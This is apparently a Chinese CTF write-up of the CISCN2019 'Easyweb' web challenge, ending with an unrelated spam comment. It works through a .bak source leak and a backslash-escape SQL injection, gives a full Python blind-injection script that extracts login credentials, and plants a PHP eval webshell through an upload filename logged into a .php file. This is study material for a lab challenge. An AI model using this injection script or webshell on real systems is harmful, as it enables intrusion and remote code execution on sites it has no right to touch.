[CISCN2019 总决赛 Day2 Web1]Easyweb
知识点: sql盲注 二分法盲注 文件上传 .bak泄露
进来后常规思路,找robots.txt文件

提示bak文件,同时我们在主界面的源代码中看见了可疑的image.php

我们访问image.php.bak,得到image.php源码
<?php
include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
觉得存在sql注入.我们来看看过滤.
如果我们在id处传入 \0 \0经过addslashes后变成\\0 经过str_replace后变成\,\会把单引号转义,整句结构变成了
select * from images where id='\' or path=' payload'
即可进行sql注入。
我们这里采用盲注,注出登录框的用户名和密码。这里采用先进的二分法盲注
import requests
#python3.6
url="http://cb42213b-2b5e-458c-b6e8-7b69a5bb6f52.node3.buuoj.cn/image.php?id=\\0&path="
proxies = {'http': 'http://localhost:8080', 'https': 'http://localhost:8080'}
result=''
for x in range(0, 100):
high = 127
low = 32
mid = (low + high) // 2
while high > low:
payload = " or id=if(ascii(substr((select username from users),%d,1))>%d,1,0)%%23" % (x, mid)
a=requests.get(url+payload)
if b'JFIF' in a.content:
low=mid+1 //这里细致微调,low变成mid时要+1
else:
high=mid
mid=(low+high)//2
result+=chr(mid)
print(result)
#86cf0746f94185b98ba6
#admin
成功注出用户名和密码,进入文件上传界面

随便上传一个文件后,发现会把它的文件名记录到一个php文件里logs/upload.4b5e83f90b0d47dd692fcc21c3dcbf14.log.php

我们去看看这个文件,发现里面记录了上传的文件名

又因为这个文件是php文件,那我们试试在上传文件名里放php代码,让该php代码被解析。那我们吧文件名改成php代码试试

试试<script language=”>…</script>

虽然能被上传上去,但还是不能被正常解析.
这个时候就需要<?=”str”?>了
这个的意思可以等效于
<?php
echo(str);
?>
但是我们这里的str可以是 eval($_POST[‘a’]); 即可以达到RCE的目的

然后直接拿菜刀连上就完了
ปั้มไลค์
七月 17, 2020 6:03 下午
Like!! I blog quite often and I genuinely thank you for your information. The article has truly peaked my interest.